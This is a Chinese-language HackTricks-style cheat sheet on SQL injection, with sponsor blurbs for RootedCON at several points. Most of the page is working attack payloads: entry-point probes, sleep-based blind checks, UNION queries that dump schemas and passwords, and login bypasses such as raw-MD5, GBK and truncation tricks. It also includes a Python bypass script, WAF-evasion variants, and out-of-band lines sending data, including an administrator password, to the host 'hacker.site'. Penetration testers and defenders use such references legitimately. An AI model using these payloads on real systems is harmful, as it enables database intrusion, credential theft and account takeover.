26 KiB
SQL注入
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想要在HackTricks中看到您的公司广告吗?或者您想要访问PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上**🐦@carlospolopm。**
- 通过向hacktricks repo和hacktricks-cloud repo提交PR来分享您的黑客技巧。
RootedCON是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。
{% embed url="https://www.rootedcon.com/" %}
什么是SQL注入?
SQL注入是一种安全漏洞,允许攻击者干扰应用程序的数据库查询。这种漏洞可以使攻击者查看、修改或删除他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致对应用程序功能或内容的永久更改,甚至危及服务器或造成拒绝服务。
入口点检测
当网站由于对SQL注入(SQLi)相关输入的异常服务器响应而易受攻击时,第一步是了解如何在不干扰查询的情况下注入数据。这需要有效地识别从当前上下文中逃逸的方法。 以下是一些有用的示例:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
然后,您需要知道如何修复查询以避免错误。为了修复查询,您可以输入数据,使先前的查询接受新数据,或者您可以只是输入您的数据并在末尾添加注释符号。
请注意,如果您可以看到错误消息或者可以发现查询在工作时和不工作时的区别,这个阶段将会更容易。
注释
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
使用逻辑操作确认
确认 SQL 注入漏洞的可靠方法包括执行逻辑操作并观察预期结果。例如,当修改 GET 参数,如 ?username=Peter
到 ?username=Peter' or '1'='1
时产生相同内容,表明存在 SQL 注入漏洞。
同样,应用数学操作作为有效的确认技术。例如,如果访问 ?id=1
和 ?id=2-1
产生相同结果,则表明存在 SQL 注入。
演示逻辑操作确认的示例:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
这个单词列表是为了尝试以提议的方式确认SQL注入而创建的:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
使用时间确认
在某些情况下,您不会注意到页面上的任何变化。因此,发现盲目SQL注入的一个好方法是让数据库执行操作,这将影响页面加载所需的时间。
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
在某些情况下,sleep 函数可能不被允许。因此,您可以使查询执行复杂操作,以便需要几秒钟的时间。这些技术的示例将在每种技术中单独进行说明。
识别后端
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节中的sleep 函数或这些函数(来自payloadsallthethings中的表格:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
此外,如果您可以访问查询的输出,您可以使其打印数据库的版本。
{% hint style="info" %} 接下来,我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。 {% endhint %}
使用PortSwigger进行识别
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
利用基于Union的漏洞
检测列数
如果您可以看到查询的输出,这是利用漏洞的最佳方法。
首先,我们需要找出初始请求返回的列数。这是因为两个查询必须返回相同数量的列。
通常有两种方法用于此目的:
Order/Group by
要确定查询中的列数,逐步调整ORDER BY或GROUP BY子句中使用的数字,直到收到错误响应。尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但两者都可以用于确定查询的列数。
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
选择更多的空值,直到查询正确:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
在某些情况下,查询两侧列的类型必须相同,因此应使用null
值。
提取数据库名称、表名称和列名称
在下面的示例中,我们将检索所有数据库的名称、数据库的表名称以及表的列名称:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
每个不同的数据库都有一种不同的方法来发现这些数据,但方法论总是相同的。
利用隐藏的基于联合的注入
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在隐藏的基于联合的注入。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端执行查询的方式。
这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了了解这些默认表,建议查阅目标DBMS的文档。
一旦查询被提取出来,就需要调整有效载荷以安全地关闭原始查询。随后,在有效载荷中附加一个联合查询,从而促使对新获得的基于联合的注入进行利用。
要获取更全面的见解,请参考Healing Blind Injections上提供的完整文章。
利用基于错误的注入
如果由于某种原因无法看到查询的输出,但可以看到错误消息,则可以利用这些错误消息从数据库中提取数据。
按照与基于联合的利用相似的流程,您可以成功地转储数据库。
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
利用盲注入漏洞
在这种情况下,您无法看到查询结果或错误,但您可以区分查询返回的是真还是假的响应,因为页面上的内容不同。
在这种情况下,您可以利用这种行为逐个字符地转储数据库:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
利用错误盲注 SQLi
这与之前的情况相同,但不再区分查询的真/假响应,而是可以区分SQL查询中是否存在错误(也许是因为HTTP服务器崩溃)。因此,在这种情况下,每次猜对一个字符时,您可以强制引发一个 SQL 错误:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
利用基于时间的 SQLi
在这种情况下,无法根据页面上下文区分查询的响应。但是,如果猜测的字符正确,可以使页面加载时间更长。我们之前已经看到过这种技术的应用,用于确认 SQLi 漏洞。
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
堆叠查询
您可以使用堆叠查询来连续执行多个查询。请注意,虽然后续查询会被执行,但结果不会返回给应用程序。因此,这种技术主要用于盲目漏洞,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。
Oracle不支持堆叠查询。MySQL、Microsoft和PostgreSQL支持:在此处放置查询1; 在此处放置查询2
带外利用
如果没有其他利用方法奏效,您可以尝试让数据库将信息传输到您控制的外部主机。例如,通过DNS查询:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
通过XXE进行带外数据泄露
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
自动化利用
查看SQLMap Cheetsheat以使用sqlmap利用SQLi漏洞。
技术特定信息
我们已经讨论了利用SQL注入漏洞的所有方法。在本书中找到一些与数据库技术相关的更多技巧:
或者您可以在https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的许多技巧。
RootedCON是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
{% embed url="https://www.rootedcon.com/" %}
身份验证绕过
尝试绕过登录功能的列表:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
原始哈希身份验证绕过
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
这个查询展示了在身份验证检查中使用MD5和true作为原始输出时存在的漏洞,使系统容易受到SQL注入的攻击。攻击者可以通过构造输入,使其在哈希后产生意外的SQL命令部分,从而实现未经授权的访问。
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
注入哈希身份验证绕过
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推荐列表:
您应该将列表中的每一行作为用户名,密码始终为:Pass1234.
(这些有效载荷也包含在本节开头提到的大列表中)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
GBK身份验证绕过
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python脚本:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
多语言注入(多上下文)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
插入语句
修改现有对象/用户的密码
要做到这一点,您应该尝试创建一个名为"主对象"(在用户情况下可能是admin)修改一些内容:
- 创建用户名为:AdMIn(大写和小写字母)
- 创建用户名为:admin=
- SQL截断攻击(当用户名或电子邮件中存在某种长度限制时)--> 创建名称为:admin [很多空格] a的用户
SQL截断攻击
如果数据库存在漏洞,并且用户名的最大字符数为30,您想要冒充用户admin,尝试创建一个名为:"admin [30个空格] a"的用户名和任何密码。
数据库将检查引入的用户名是否存在于数据库中。如果不存在,它将截断用户名至允许的最大字符数(在本例中为:"admin [25个空格]"),然后将自动删除所有末尾的空格,更新数据库中的用户"admin"与新密码(可能会出现一些错误,但这并不意味着这没有起作用)。
更多信息:https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
注意:在最新的MySQL安装中,此攻击将不再按上述描述的方式起作用。虽然比较仍然默认忽略尾随空格,但尝试插入长于字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请查看:https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL插入基于时间的检查
在VALUES语句中添加尽可能多的','',''
。如果延迟执行,则存在SQL注入。
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL中的ON DUPLICATE KEY UPDATE
子句用于指定数据库在尝试插入导致在UNIQUE索引或PRIMARY KEY中出现重复值的行时应采取的操作。以下示例演示了如何利用此功能来修改管理员帐户的密码:
注入示例负载:
可以制作如下注入负载,尝试将两行插入users
表中。第一行是诱饵,第二行针对现有管理员的电子邮件,意图是更新密码:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
这是它的工作原理:
- 查询尝试插入两行数据:一个是
generic_user@example.com
,另一个是admin_generic@example.com
。 - 如果
admin_generic@example.com
的行已经存在,则ON DUPLICATE KEY UPDATE
子句会触发,指示MySQL将现有行的password
字段更新为"bcrypt_hash_of_newpassword"。 - 因此,随后可以尝试使用
admin_generic@example.com
进行身份验证,密码对应于bcrypt哈希("bcrypt_hash_of_newpassword"代表新密码的bcrypt哈希,应该用所需密码的实际哈希替换)。
提取信息
同时创建2个帐户
当尝试创建新用户和用户名时,需要密码和电子邮件:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
使用十进制或十六进制
通过这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。
使用hex2dec和substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
要获取文本,您可以使用:
__import__('binascii').unhexlify(hex(215573607263)[2:])
使用hex和replace(以及substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
{% embed url="https://www.rootedcon.com/" %}
路由 SQL 注入
路由 SQL 注入是一种情况,其中可注入的查询不是提供输出的查询,而是可注入查询的输出进入提供输出的查询。(From Paper)
示例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF绕过
无空格绕过
无空格 (%20) - 使用空格替代绕过
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - 通过使用注释绕过
在某些情况下,您可能无法在注入点使用空格字符。在这种情况下,您可以尝试使用注释来绕过此限制。您可以在SQL语句中使用注释来替换空格字符,以便成功执行SQL注入攻击。
?id=1/*comment*/and/**/1=1/**/--
无空格 - 使用括号绕过
在某些情况下,当注入点周围存在空格时,可以使用括号来绕过这种限制。
?id=(1)and(1)=(1)--
无逗号绕过
使用 OFFSET、FROM 和 JOIN 进行绕过。
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
通用绕过方法
关键词黑名单 - 使用大写/小写绕过
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
使用关键词黑名单不区分大小写 - 通过使用等效运算符绕过
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
科学计数法 WAF绕过
您可以在gosecure博客中找到关于这一技巧的更深入解释。
基本上,您可以以意想不到的方式使用科学计数法来绕过WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
绕过列名限制
首先要注意,如果原始查询和你想从中提取标志的表具有相同数量的列,你可以简单地执行:0 UNION SELECT * FROM flag
可以访问表的第三列而无需使用其名称,使用以下查询:SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
,因此在 SQL 注入中会是这样的形式:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
或者使用逗号绕过:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
这个技巧来源于https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
WAF绕过建议工具
{% embed url="https://github.com/m4ll0k/Atlas" %}
其他指南
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
暴力检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?想要在HackTricks中看到您的公司广告吗?或者想要访问PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS & HackTricks周边
- 加入💬 Discord群 或电报群 或在Twitter上关注我**🐦@carlospolopm.**
- 通过向hacktricks repo和hacktricks-cloud repo提交PR来分享您的黑客技巧。